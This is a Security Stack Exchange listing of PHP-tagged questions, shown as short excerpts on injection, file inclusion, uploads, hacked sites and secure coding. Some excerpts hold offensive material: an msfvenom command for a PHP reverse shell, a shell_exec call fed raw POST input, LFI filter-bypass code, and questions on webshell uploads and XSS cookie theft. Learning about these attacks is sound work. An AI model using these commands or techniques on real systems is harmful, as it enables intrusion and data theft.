Questions tagged [php]

Security aspects concerning code written in the programming language PHP which is often used for web applications.

Filter by
Sorted by
Tagged with
8
votes
3answers
2k views

How can an attacker identify if a website is using PHP? How about the PHP version?

I have a vulnerable test site up that runs PHP. How can an attacker identify that PHP is used? if I type .../add.php the site gives back an error message, although the file is add.php. If I type .../...
1
vote
0answers
67 views

SQL Injection Prevention WAF Generic Rule for Wordpress

We are trying to develop a GENERIC WAF Rule for SQLI Prevention for WordPress-based websites that can provide some level of effectiveness with a very low probability of having false positives. From my ...
0
votes
0answers
22 views

Can I inject shell in the below php code?

How I can inject a shell command in the below code? <?php if (isset($_POST['search'])) { $res = trim(shell_exec("findstr /l /m /s \"" . $_POST['search'] . "\" ...
1
vote
2answers
162 views

Encrypt login and password in cookie to keep user logged in

What is the best alternative to encrypting data to use it in a cookie so that i can decrypt it later to validate the user data? Currently saved: Login - Password and IP in an array and then encrypt it ...
1
vote
2answers
74 views

Is it insecure for the user to know the process id of a background script on my web server?

I was experiencing an issue on one of my webpages, where an AJAX call is made to another script on the server to generate some files for download. Depending on things like server load, number of files ...
0
votes
1answer
48 views

Block many wrong requests via PHP

I have an API that requires a security token to run. Is it possible to use Fail2Ban or ModEvasive to block access from IPs that often try to access the API with an incorrect token? I use PHP to ...
0
votes
1answer
101 views

PHP code in image file

My drupal website was getting hacked recently. While cleaning up the malicious scripts, I found that the hacker uploaded an image file (sites/default/files/test.jpg) contains below code. ...
0
votes
0answers
37 views

Should I change the default folder for uploads?

PHP 7 uses the default system folder (/tmp) to store uploaded files. PHP allows you to change the settings and change the upload destination directory. Some sites indicate to change this folder to ...
0
votes
0answers
38 views

Injection inside double quoted section of script element

For a test to find vulnerabilities I found the following code in a page and I am looking for ways to manipulate it: <script> func({ "key1": "value", "...
-2
votes
2answers
128 views

What to do when you simply cannot trust anyone or anything anymore?

I've found this PHP library for detecting/guessing the language of a given string: https://github.com/patrickschur/language-detection I would have massive use of this. I would really like to use it. ...
0
votes
2answers
117 views

How does Local File Inclusion (LFI) work?

In the past few days, I have created my own webserver to serve as my sandbox for learning pen-testing. I saw this blog (https://outpost24.com/blog/from-local-file-inclusion-to-remote-code-execution-...
3
votes
1answer
129 views

Is it possible to embed a phar archive into a PNG image?

I know it's possible to embed phar archives into jpeg images but is it also possible to do so with PNG images? I am testing a php application that securely checks if an image is a valid PNG image ...
1
vote
1answer
60 views

What is the most up-to-date secure method for storing .ENV variables?

I am improving the security on my php website. I am not using any frameworks or cms. The credentials are currently stored in plain text in the relevant php files. While researching, I came across this ...
0
votes
1answer
63 views

Changing $_SERVER['REMOTE_ADDR'] remotely

On a nginx web-server running the following config is to possible to change $_SERVER['REMOTE_ADDR'] remotely?: user www; pid /run/nginx.pid; error_log /dev/stderr info; events { ...
1
vote
1answer
59 views

Bypass input validation

I'm trying to create a vulnerable sandbox environment for pentesting challenges. As part of the challenge, I want to include some elements of XSS or SQLi if possible. However, I do not wish to make ...
0
votes
2answers
98 views

Is it possible to exploit preg_match similar to preg_replace PHP? [closed]

I'm currently working on a website and want to prevent characters being inputted, i am using following code if (!preg_match("/^[a-zA-Z0-9_!,()& -\/]*$/" is it possible to exploit this ...
0
votes
0answers
33 views

Multi stage/request SQLmap with challenge

I have a scenario where I'm testing for injection points but the authentication form has a challenge token that refreshes with each GET. The credentials are sent in a POST accompanied by that ...
0
votes
0answers
51 views

Uploading php webshell using Burp Intruder

I am using Burp Intruder to upload a webshell to different directories. These 400 responses tell me the requests are bad. I should be getting mostly 403 responses or maybe if I'm lucky the goal ...
0
votes
1answer
58 views

CSRF tokens in file that we can upload a file

I am dealing with a website vulnerable to CSRF. Let's say that the page (upload.php) has the following code if (isset($file_submit)) { //submit_file() } else { show_submission_form() } ...
0
votes
0answers
18 views

How to recover a hacked site with WSO Shell [duplicate]

Recently wordpress site on centos 7 server is hacked and WSO shell was uploaded. Ive checked other sites and nothing was changed, Im using centos web panel and the root password also was not changed. ...
0
votes
1answer
75 views

Bypass Local File Inclusion(LFI) prevention filters

I have these two LFI filters and i want to bypass them $bad = str_replace('../','',$_GET['bad']); while( substr_count($bad, '../', 0)) { $bad = str_replace('../', '', $bad);...
0
votes
0answers
51 views

XSS with Java to get User Cookies

I am practicing some XSS on a vulnerable apache2 web application and having some issues getting the user's cookie information. I am following the instructions in this Lab for the XSS Attack. We are ...
1
vote
1answer
51 views

KikChat LFI/RFI exploit code?

I've been reading about PWK-Example-Report-v1.pdf on pages 7-14 and found that KikChat apps were used in the example. https://www.exploit-db.com/exploits/30235 Copy of the vulnerable app is available ...
2
votes
1answer
1k views

How to replace certain backup files on a website every 30 minutes? [closed]

I have a website built with WordPress, unfortunately somebody hacked it several times, deleted my adsense code and put his own adsense. I tried many security techniques, changed database name, did ...
0
votes
1answer
74 views

Can PHP files be dangerous without executing them? [duplicate]

Recently I had a job interview online as a developer and I had to download a .PHP file from an FTP. I used a VPN to connect to it and after downloading the file I just opened it in VS Code to see the ...
0
votes
3answers
70 views

How many bytes for password reset token? Should one take steps to hash or conceal raw CSPRNG bytes?

I'm trying to follow the OWASP 'Forgot Password Cheat Sheet' recommendations for password reset functionality via email. This requires my server to generate a token. OWASP says that PHP's random_bytes(...
1
vote
1answer
534 views

Suspicious HTTP Requests in my logs [duplicate]

I'm running a PHP application with a user management system called userspice. It basically allows you to include the userspice PHP file and then control access to a certain PHP page. As I have seen ...
0
votes
0answers
89 views

Backendly preventing database injections on simple web forms [duplicate]

I have a simple PHP-HTML-CSS contact form which saves emails to a local email client's database (in my case, Roundcube's database, which is a standalone MySQL database, I think --- I haven't used the ...
0
votes
0answers
15 views

What does this obfuscated PHP script do? [duplicate]

I found an obfuscated PHP-script in a log directory on a shared hosting, which had been given chmod 0777 by mistake. The script in it's original form looks like this: $zowyb = 'i#7uH0_ls5y4m*bcrovaptf-...
47
votes
3answers
6k views

Security implications of stolen .git/objects/ files

As a security in-charge, I just noticed that one of our production web apps was attacked by some hackers. The attacker accessed the .git/objects/ files. I already modified .htaccess to make .git and ...
1
vote
1answer
105 views

Found PHP script with erratic code, htaccess kept resetting even if I change it

When I browse on my hosting account, I found the index.php of my website has some code embedded to it, in the beginning there was really long line containing erratic code. There was also two more ...
3
votes
1answer
74 views

Is it possibile to send NaN value to a param to bypass (PHP)?

is it possibile to bypass some check like this: $amount = (int)$_REQUEST['amount']; if (!($amount >= 10)) { // authorize } by sending a NaN value to amount param? like: https://www.site.com/?...
1
vote
2answers
97 views

JSON Web Token secret storage

I'm building an app where the client will be issued a JWT. The JWT will be passed to my API for every request. I'm leaning in the direction of hosting my webserver and SQL server separately from each ...
2
votes
2answers
116 views

Is there any way an attacker can access the server and modify the site (php) code? [closed]

I recently had a breach on my site (laravel). I got aware of it after I tried to pull the code from github and found out that some files were modified. The files modified were mostly storage - logs/...
3
votes
1answer
178 views

- Exploit aborted due to failure: not-found: Can't find base64 decode on target

So. I am having some issues at metasploit. I am trying to exploit exploit/multi/http/wp_crop_rce. I am using Docker, in order to install wordpress version: 4.8.9. PHP 7.2.12 (cli) (built: Nov 28 2018 ...
3
votes
1answer
60 views

Why does file traversal not working in this PHP file upload code?

I am using this script to upload file to the system with apache2 as server and php7. If I provide filename as ../../../../tmp/data.png of uploaded file, then also the file gets uploaded to /var/up/...
1
vote
0answers
137 views

PHP reverse shell is not responding back [closed]

I created a php reverse shell using msfvenom utility like: msfvenom -p php/meterpreter/reverse_tcp LHOST=<MY_IP> LHOST=4444 -f raw > reverse_shell.php And I created a listener using ...
3
votes
1answer
357 views

Does it make sense to have the application block users by IP as well as the firewalls?

I am planning to create a system, but I still have some questions about security. I would like to know if it makes sense to block unauthorized users from accessing the system, through the ip, using a ...
3
votes
1answer
71 views

How to create custom exploit https requests to test a PHP framework [closed]

I am working on the auto-routing functionality of Codeigniter 4 and I'd like to test it by sending some nasty exploit-type HTTPS requests to make sure it properly resists mischief. E.g., request a uri ...
1
vote
1answer
72 views

How to protect client server app if both: client and server - located on client side?

Frontend communicates to backend. I am a developer of frontend and backend. I want to protect my app (prohibit end user from using my app without paying). The only thing I have in mind is to have some ...
3
votes
1answer
105 views

Are there risks in user-uploaded .txt files sent as a string to PHP

I'm not sure if this question is within the scope of security.stackexchange or it would be more suitable on stackoverflow. Let me know if needed. I'm wetting my feet in PHP, and I've put together a ...
0
votes
0answers
44 views

WordPress, a Security Risk for Bitcoin Application?

Asked this question on Bitcoin SE was told to post it here. I'm developing a custom Bitcoin service. Besides for the core application (which is written in PHP) I'm going to install a blog for updates ...
0
votes
0answers
28 views

Parameter allowing untrusted user input in twig templates, but not getting SSTI?

I have created a small code where I include the user input without validation, so as to know the inner workings of SSTI vulnerability. This is the below code:- <!DOCTYPE html> <html> <...
0
votes
0answers
36 views

Wordpress reauth attacks? How to prevent

I am running a forward proxy filtering outbound requests for the following in order to catch potentially malicious requests from hacked Wordpress sites: /wp-login.php* /xmlrpc.php* Lately this has ...
0
votes
1answer
111 views

How password_hash / password_verify can work with any arguments (PHP)

I already know how to use password_verify and password_hash functions, but I don't really understand how they work. When I use them I do something like that: $save_hash = password_hash( $password, ...
3
votes
1answer
144 views

If a malicious PHP file never appears in the Apache log is it safe to assume it never executed?

I've found a couple of suspicious-looking PHP files on my webserver obfuscated by a substantial block of eval. Ideally, I'd like to know what they do, but I'm struggling to decrypt them. Everything ...
0
votes
1answer
71 views

Using parametrized queries in PHP

I am currently developing a Slack app in PHP. I'm trying to make the app as secure as possible, that's for sure. So far, I have done the following: Verified the requests using signing secrets Making ...
1
vote
1answer
124 views

PHP execution with special characters in the end

I was trying to reproduce this vulnerability: https://www.exploit-db.com/exploits/49294 According to the explanation, it is possible to bypass a check in a Wordpress plugin by appending a special char ...
1
vote
1answer
59 views

php / email / iis

in a certain page I have a newsletter subscription form, where the user enters his e-mail address and then through PHP an authenticated e-mail is sent to myself with the user's information (e-mail ...
7
votes
2answers
212 views

Do people even exist who actually vet all the updates to their open source software?

A year or so ago, I set up this system which, whenever Composer (that's PHP's packet/library update manager) fetched new updates to my few (but critically required) third-party libraries, created a ...

1
2 3 4 5
31